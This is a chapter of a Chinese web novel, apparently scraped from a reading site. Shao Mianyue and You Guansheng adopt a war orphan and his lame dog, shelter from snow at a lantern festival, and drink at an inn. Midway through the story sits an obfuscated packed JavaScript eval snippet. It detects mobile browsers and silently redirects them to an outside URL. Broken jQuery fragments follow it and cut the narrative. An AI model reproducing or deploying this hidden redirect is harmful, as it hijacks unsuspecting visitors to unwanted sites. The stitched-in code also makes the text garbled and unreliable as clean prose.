韶眠月抿唇,尝了口馄饨。
嗯……她刚刚吃了一碗馄饨,现在还不饿。
游冠生看着面前的人默默咬着馄饨,满足地把那碗馄饨捞到自己面前。
尝了口,本来咬着馄饨的嘴停了下来,猛地抬头看韶眠月。
韶眠月早就吃完了,闷着头,只顾笑。
游冠生把筷箸轻轻放到碗上,这样包得太难吃了。
“哈哈哈哈哈哈。”韶眠月捂着肚子,笑得上气不接下气,她促狭地看着他:“味道怎么样?”
游冠生不说话,韶眠月收起了笑。
袖子忽然被拽了拽,韶眠月回头看,是一个十一二岁的孩子。
“怎么了?”
那孩子说:“姐姐,我饿。”
韶眠月摸了摸荷包,给他递了几两银子,那小孩儿欣喜若狂。
她接着又递给他几个铜板:“用这些铜板你去买碗馄饨,那些银子你留着以后用。”
她轻轻拍拍他的肩膀:“去罢。”
那小孩欢天喜地地买了碗馄饨,狼吞虎咽地吃完,用袖子擦了擦嘴。
吃完他又扯着韶眠月的衣袖,韶眠月想着难道他还要再吃一碗?
“咻——”一声绵长的口哨声,那小孩儿期待地看着她。
韶眠月不解转头,看见一条狗奔过来,是一只黄色的吠犬。
一般大户人家买来看家护院的。
那只狗跑过来的速度很慢,韶眠月仔细点看,其中有一条腿还是跛的,跑起来一晃一晃。
“这是小犬,我给它起的名字。”他摸摸它的头:“我们住在一起。”
韶眠月弯下腰,给它喂了一些吃的。
“那我们走了。”韶眠月起身,谁知道那个小孩也起身。
她试探着往前走了几步,那小孩子跟着她。
游冠生竖着站到两人中间去,说:“怎么了?”
那小孩儿绕过他,站到韶眠月面前,轻轻扯了一下她的袖子:“姐姐,你们还缺小厮吗?”
韶眠月摇摇头,游冠生目光晦暗。
那小孩儿失落地低下头。
韶眠月说:“但是——我还缺一个手下。”
那小孩猛地抬头。
“你叫什么名字?”
小孩儿摇摇头:“不知道。”
“那你就叫贺平吧。跟着你罗斩霜姐姐。”
贺平点点头。
韶眠月趁着贺平不在,对罗斩霜说:“你去查查他的身份,看看可不可靠。”
“是。”
韶眠月扶着马车,抬头看着这纷纷扬扬的雪。
终究是冬天来了。
“大人,驿站安排好了。”
韶眠月边拾级而上,边听着罗斩霜说:“贺平是战争留下来的孤儿,在这儿一直住在东边低洼的小巷子里。”
韶眠月提起衣裙前摆的手放下,推开面前的门:“那就把他带着吧。”
罗斩霜站在门外,点点头。
韶眠月换好衣服,推开客栈的窗户,看到街上落下的雪在油纸伞上留下烙印。
在一户不起眼的人家那里,种有一颗梅花树,她看着花瓣,想到了故人。
“咚咚”几声响,韶眠月开门,是游冠生。
“今天晚上镇子有灯会,”游冠生晃晃手里提着的灯:“我们一起?”
韶眠月把他的期待尽收眼底,等到她再反应过来,已经置身在闹市里了。
闹市人多,两人走着走着就散了,韶眠月站在原地等。
“月姑娘!”
她听见有人喊自己,转身看到是游冠生。
一回眸就看到游冠生提着灯笼,站在汹涌的人潮中,欣喜地朝她挥手。
韶眠月隔着雪,看见灯火流转在他湿润的眼睛里。
“这儿……灯……”韶眠月看着面前游冠生的嘴巴一张一合。
“你说什么?”
韶眠月凑近,看见他睫毛上和眉间沾着雪,呼出的气在眼前变成白雾。他眨眨眼睛,雪掉下来。
“这儿人太多了!你有什么想要的灯笼没有?我去给你取。”游冠生又重复一遍。
韶眠月这次总算听清了。
“我没有,你有什么想要的灯笼吗?”
游冠生摇摇头:“那我们找个地方躲躲雪?”
韶眠月从晃动的灯影里抬头看,暖黄的街灯中雪只有一点一点,碎碎的,但明显下得密。
一片飘进她的眼里,凉丝丝的,她眨眨眼,把融化的水挤出去。
“好啊。”
韶眠月挨得近了点。
游冠生伸手拂去她肩膀上的雪粒,韶眠月愣了一下,随即对他笑笑。
“走!”
韶眠月和游冠生并肩挤在一起,提着手里的灯笼,拐进了一个小巷子里,那儿有户人家的屋檐,二人挤进去。
游冠生稍稍往外站,给韶眠月挡风,韶眠月看出了他的意图,把他给拽了回来:“我是习武的,这些风雪算不得什么。”
游冠生摸摸鼻子,又像变戏法似的,变出来了用油纸捂好的枣糕。
糕点冒出热腾腾的气,韶眠月吸吸鼻子,天地间都是枣的味道。
枣糕被掰成两半,韶眠月接过去,感慨这样太平的日子不知道还能过多久。
这才是她想要的生活啊。
转眼一想,她自从从乱葬岗里爬出来,已经不间断地给副将写了数不尽的信,副将一封都没有回她。
不会信一封都没有送出去吧?
游冠生看着韶眠月皱起了眉头,抬手想给她抚平,手刚抬到半空,突然想起来什么,又蜷缩着放下了。
他怕她觉得唐突,又害怕她把他想得轻浮。
“发呆什么呢?”韶眠月伸出手,在他面前挥了挥。
游冠生回过神,咬了一口糕点,说没什么事。
韶眠月姑且放宽心。
小巷里响着“哒哒”声,韶眠月朝发出声音的地方看去,是小犬。
“小犬?”韶眠月试探着喊了两声。
“汪!”
小犬扑过来,韶眠月把手中的枣糕分给它一半,小犬摇了摇尾巴。
游冠生心里吃味,嘴里嘟嘟囔囔道:“那是给你的,不是给小犬的……”
明明这糕点是专门给她买的,她没吃多少都给了小犬。
韶眠月听见他在说话,但他声音小,她听不清楚,头挨着他的头问:“你方才说了什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125303|196039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游冠生:“没什么。”
看着小犬吃完枣糕就跑了,韶眠月蹲在原地失笑。
怎么用完就丢。
“哼。”韶眠月还没说话,倒先见游冠生气着了,顿时笑得肩膀一抖一抖。
游冠生看着她,她开心,他好像也会不由自主地开心。
远处传来“咯吱咯吱”的踩雪声,韶眠月看见两三人提着灯笼,前面似乎跟着一条狗。
等到两三人走近,韶眠月一看,是罗斩霜和游冠生的侍卫。
“公子!”
“大人!”
韶眠月把披风的领口系紧,心道,天色还没完全暗下去,这游冠生的侍卫怎么就提着灯笼来寻人了。
等到她往前迈出几步,在灯下看到游冠生面庞上的汗珠,突然想到在大牢里游冠生的反常。
果然他怕黑。
“小犬在客栈里围着我转,我就想着外面的雪大了,你们肯定在躲雪。小犬把我们带过来一看,果然。”罗斩霜替韶眠月撑着伞。
韶眠月怕路上的雪混着泥弄脏衣裙,就小心翼翼地挑好路走,提着裙摆,闻言看了一眼小犬:“真聪明。”
游冠生在旁边,心里别别扭扭。
他也不知道他是怎么了,看不见她的时候心里想着她,看见她的时候,又希望她心里想着自己。
她夸一下别人,他都小心眼地不高兴。
明明之前他不是这样子。
在京城里,他从未体验过这种感觉,好像心绪被丝线捆着,那人手提着线的另一端,轻轻一扯,他就酥麻。
有时候又是闷闷的,像被那双手捏过一样。
都是她坏,都是她从不记得他的好,都是她很少把目光分给自己,都是她,让自己牵肠挂肚。
“游公子——”游冠生抬头,看见她转身看着自己,向自己挥挥手:“认真走路,不要落下。”
游冠生顿时心没有了被揪紧的感觉,他笑着应了声:“好。”
哪里还去管刚才心里的三七二十一。
一时之间,街上的喧嚣远去,几人只能听见积雪被踩的“咯吱”声,偶尔还有一两声犬吠。
“冷死了。”罗斩霜进屋跺跺脚,把沾的雪给抖下去,搓搓双手,才勉强感觉到暖意。
“客人要一壶温酒暖暖身子?”
罗斩霜摞起几板铜钱,店家拿来一壶温酒,韶眠月想着明天要赶路,总要有人是清醒的,就没有喝。
罗斩霜和旁边的侍卫们碰碰碗沿,一口闷完一碗,游冠生小口小口抿着。
酒烘着他的脸,游冠生脸色不一会儿就变红了,他放下一滴不剩的碗,说了句:“我就先回房休息了。”
就像后面有什么东西追着一样,急匆匆回去了,罗斩霜摇摇头笑道:“京城来的公子哥,喝不惯咱们这浑酒。”
说完大笑两声,碗放在桌子上发出磕碰的声音,又斟了一碗酒,细细品。
韶眠月看着众人酒意正浓,往游冠侍卫那里靠一靠,低声问:“你们公子怕黑?”
那侍卫喟叹:“是啊。当初韶眠月将军叛国的消息直达京城,只有我家主子愿意出来说一句公道,喊一声不公,京城小人作乱,这不,被人下了大狱。”